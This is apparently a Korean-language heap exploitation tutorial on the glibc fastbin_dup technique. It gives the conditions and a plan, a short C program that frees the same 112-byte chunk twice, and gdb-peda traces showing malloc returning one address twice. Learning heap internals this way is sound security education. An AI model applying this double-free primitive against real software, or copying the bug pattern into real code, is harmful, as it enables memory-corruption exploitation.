Excuse the ads! We need some help to keep our site up.
List
Conditions
- 해당 기술은 다음과 같은 조건에서 동작합니다.
- 공격자에 의해 동일한 크기의 Fast chunk의 할당과 해제가 자유로워야 합니다.
- 공격자에 의해 해제된 Fast chunk를 한번더 해제 할 수 있어야 합니다.(Double free bug)
Exploit plan
- 다음과 같은 방법으로 공격할 수 있습니다.
- 동일한 크기의 Fast chunk 3개를 생성합니다.
- 첫번재 Fast chunk를 해제 합니다.
- 두번째 Fast chunk를 해제 합니다.
해제된 첫번재 Fast chunk를 다시 한번 해제 합니다.
- 공격 대상 영역과 같은 크기의 Heap 을 3개 할당 합니다.
- 첫번재 Heap 영역과 세번째 Heap 영역의 주소가 같습니다.
Example
Files
Source code
#include <stdio.h> #include <stdlib.h> int main() { int *buf1 = malloc(112); int *buf2 = malloc(112); int *buf3 = malloc(112); free(buf1); free(buf2); free(buf1); int *buf4 = malloc(112); int *buf5 = malloc(112); int *buf6 = malloc(112); }
Exploit flow
fastbin_dup
Debugging
- 다음과 같이 Break point를 설정합니다.
0x4005b6 : 1번째 free() 함수 호출
0x4005c2 : 2번째 free() 함수 호출
0x4005ce : 3번째 free() 함수 호출
0x4005dd : 4번째 malloc() 함수 호출
0x4005eb : 5번째 malloc() 함수 호출
0x4005f9 : 6번째 malloc() 함수 호출
gdb-peda$ b *0x00000000004005b6 Breakpoint 1 at 0x4005b6 gdb-peda$ b *0x00000000004005c2 Breakpoint 2 at 0x4005c2 gdb-peda$ b *0x00000000004005ce Breakpoint 3 at 0x4005ce gdb-peda$ b *0x00000000004005dd Breakpoint 4 at 0x4005dd gdb-peda$ b *0x00000000004005eb Breakpoint 5 at 0x4005eb gdb-peda$ b *0x00000000004005f9 Breakpoint 6 at 0x4005f9 gdb-peda$
- 다음과 같이 할당된 Heap 영역을 확인 할 수 있습니다.
- free() 함수 호출 전에 fastbinsY에 등록된 Chunk가 없습니다.
- 첫번째 free() 함수 호출 후에 fastbinsY에 0x602000 영역이 등록됩니다.
Break point - 0x4005b6
gdb-peda$ r Starting program: /home/lazenca0x0/Documents/def/fastbin_dup Breakpoint 1, 0x00000000004005b6 in main () gdb-peda$ x/50gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000081 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000081 0x602090: 0x0000000000000000 0x0000000000000000 0x6020a0: 0x0000000000000000 0x0000000000000000 0x6020b0: 0x0000000000000000 0x0000000000000000 0x6020c0: 0x0000000000000000 0x0000000000000000 0x6020d0: 0x0000000000000000 0x0000000000000000 0x6020e0: 0x0000000000000000 0x0000000000000000 0x6020f0: 0x0000000000000000 0x0000000000000000 0x602100: 0x0000000000000000 0x0000000000000081 0x602110: 0x0000000000000000 0x0000000000000000 0x602120: 0x0000000000000000 0x0000000000000000 0x602130: 0x0000000000000000 0x0000000000000000 0x602140: 0x0000000000000000 0x0000000000000000 0x602150: 0x0000000000000000 0x0000000000000000 0x602160: 0x0000000000000000 0x0000000000000000 0x602170: 0x0000000000000000 0x0000000000000000 0x602180: 0x0000000000000000 0x0000000000020e81 gdb-peda$ p main_arena.fastbinsY $1 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0} gdb-peda$ ni 0x00000000004005bb in main () gdb-peda$ p main_arena.fastbinsY $2 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602000, 0x0, 0x0, 0x0} gdb-peda$
- 다음과 같이 해제된 2번째 Heap 영역이 fastbinsY에 등록되었습니다.
- fastbinsY 영역에는 최근에 해제된 heap영역이 등록됩니다.
- 2번째 해제된 Heap 영역에 free chunk가 생성됩니다.
- fd 영역에 이전에 해제된 free chunk의 주소가 저장됩니다.
- fastbinsY 영역에는 최근에 해제된 heap영역이 등록됩니다.
Break point - 0x4005c2
gdb-peda$ c Continuing. Breakpoint 2, 0x00000000004005c2 in main () gdb-peda$ ni gdb-peda$ p main_arena.fastbinsY $4 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602080, 0x0, 0x0, 0x0} gdb-peda$ x/50gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000081 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000081 0x602090: 0x0000000000602000 0x0000000000000000 0x6020a0: 0x0000000000000000 0x0000000000000000 0x6020b0: 0x0000000000000000 0x0000000000000000 0x6020c0: 0x0000000000000000 0x0000000000000000 0x6020d0: 0x0000000000000000 0x0000000000000000 0x6020e0: 0x0000000000000000 0x0000000000000000 0x6020f0: 0x0000000000000000 0x0000000000000000 0x602100: 0x0000000000000000 0x0000000000000081 0x602110: 0x0000000000000000 0x0000000000000000 0x602120: 0x0000000000000000 0x0000000000000000 0x602130: 0x0000000000000000 0x0000000000000000 0x602140: 0x0000000000000000 0x0000000000000000 0x602150: 0x0000000000000000 0x0000000000000000 0x602160: 0x0000000000000000 0x0000000000000000 0x602170: 0x0000000000000000 0x0000000000000000 0x602180: 0x0000000000000000 0x0000000000020e81 gdb-peda$
- 다음과 같이 해제되었던 Chunk가 fastbinsY에 등록되었습니다.
- 해제된 heap 영역을 다시 해제가 가능합니다.
- 해제되었던 영역이 fastbinsY에 정상적으로 등록됩니다.
- 그리고 해당 Free chunk의 fd 영역에 2번재 Free chunk의 주소가 저장됩니다.
Break point - 0x4005ce
gdb-peda$ c Continuing. Breakpoint 3, 0x00000000004005ce in main () gdb-peda$ ni 0x00000000004005d3 in main () gdb-peda$ p main_arena.fastbinsY $5 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602000, 0x0, 0x0, 0x0} gdb-peda$ x/50gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000081 0x602010: 0x0000000000602080 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000081 0x602090: 0x0000000000602000 0x0000000000000000 0x6020a0: 0x0000000000000000 0x0000000000000000 0x6020b0: 0x0000000000000000 0x0000000000000000 0x6020c0: 0x0000000000000000 0x0000000000000000 0x6020d0: 0x0000000000000000 0x0000000000000000 0x6020e0: 0x0000000000000000 0x0000000000000000 0x6020f0: 0x0000000000000000 0x0000000000000000 0x602100: 0x0000000000000000 0x0000000000000081 0x602110: 0x0000000000000000 0x0000000000000000 0x602120: 0x0000000000000000 0x0000000000000000 0x602130: 0x0000000000000000 0x0000000000000000 0x602140: 0x0000000000000000 0x0000000000000000 0x602150: 0x0000000000000000 0x0000000000000000 0x602160: 0x0000000000000000 0x0000000000000000 0x602170: 0x0000000000000000 0x0000000000000000 0x602180: 0x0000000000000000 0x0000000000020e81 gdb-peda$
- 다음과 같이 Heap 영역을 할당 받습니다.
- 4번째 malloc(112) : 0x602010
- 5번째 malloc(112) : 0x602090
- 6번째 malloc(112) : 0x602010
- fastbinsY의 변화
0x602000 → 0x602080 → 0x602000 → 0x602080
- malloc()함수는 fastbinsY에 동일한 크기의 free chunk가 존재하기 때문에 fastbinsY에 등록되어 있는 heap 영역을 재할당 합니다.
- 이러한 현상이 발생하는 이유는 다음과 같습니다.
- fastbins은 free chunk를 Single list로 관리하고 있습니다.
- 동일한 크기의 fast chunk가 여러 개가 해제되면, chunk header의 fd 영역을 이용해 관리합니다.
- 즉, 해당 현상이 발생하는 이유는 Double free로 인해 buf1과 buf2 free chunk의 fd 값이 상대 chunk를 가리키고 있기 때문입니다.
- fastbins은 free chunk를 Single list로 관리하고 있습니다.
Exploit
gdb-peda$ c Continuing. Breakpoint 4, 0x00000000004005dd in main () gdb-peda$ i r rax rax 0x602010 0x602010 gdb-peda$ p main_arena.fastbinsY $6 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602080, 0x0, 0x0, 0x0} gdb-peda$ c Continuing. Breakpoint 5, 0x00000000004005eb in main () gdb-peda$ i r rax rax 0x602090 0x602090 gdb-peda$ p main_arena.fastbinsY $7 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602000, 0x0, 0x0, 0x0} gdb-peda$ c Continuing. Breakpoint 6, 0x00000000004005f9 in main () gdb-peda$ i r rax rax 0x602010 0x602010 gdb-peda$ p main_arena.fastbinsY $8 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602080, 0x0, 0x0, 0x0}